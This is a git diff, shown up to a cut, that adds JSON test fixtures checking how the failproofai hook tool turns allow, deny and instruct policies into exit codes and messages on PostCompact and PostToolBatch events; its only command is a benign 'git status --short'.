b/__tests__/parity/fixtures/factory/PostCompact/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..72311cd6 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostCompact/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostCompact/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PostCompact/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..c42efee5 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostCompact/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostCompact/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PostCompact/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..2fed9561 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostCompact/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostCompact/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PostCompact/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..02e8e7bc --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostCompact/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostCompact/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PostCompact/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..6d264755 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostCompact/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostCompact/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PostCompact/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..3c5bc205 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostCompact/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostCompact/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PostCompact/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..0b6951cf --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostCompact/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostCompact/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PostCompact/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..6c44c158 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostCompact/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostCompact/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PostCompact/deny__tool-present__one-policy.json new file mode 100644 index 00000000..f74926aa --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostCompact/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostCompact/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PostCompact/deny__tool-present__two-policies.json new file mode 100644 index 00000000..4cce7caa --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostCompact/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostCompact/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PostCompact/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..fdb0b284 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostCompact/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostCompact/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PostCompact/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..2071c1b6 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostCompact/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostCompact/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PostCompact/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..fe6acf22 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostCompact/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostCompact/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PostCompact/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..77831591 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostCompact/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostToolBatch/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PostToolBatch/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..89d02e81 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolBatch/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostToolBatch/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PostToolBatch/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..e0a57742 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolBatch/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostToolBatch/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PostToolBatch/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..e9bae196 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolBatch/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostToolBatch/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PostToolBatch/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..50a91794 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolBatch/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostToolBatch/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PostToolBatch/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..04ee85e3 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolBatch/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostToolBatch/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PostToolBatch/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..30f249de --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostToolBatch/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": 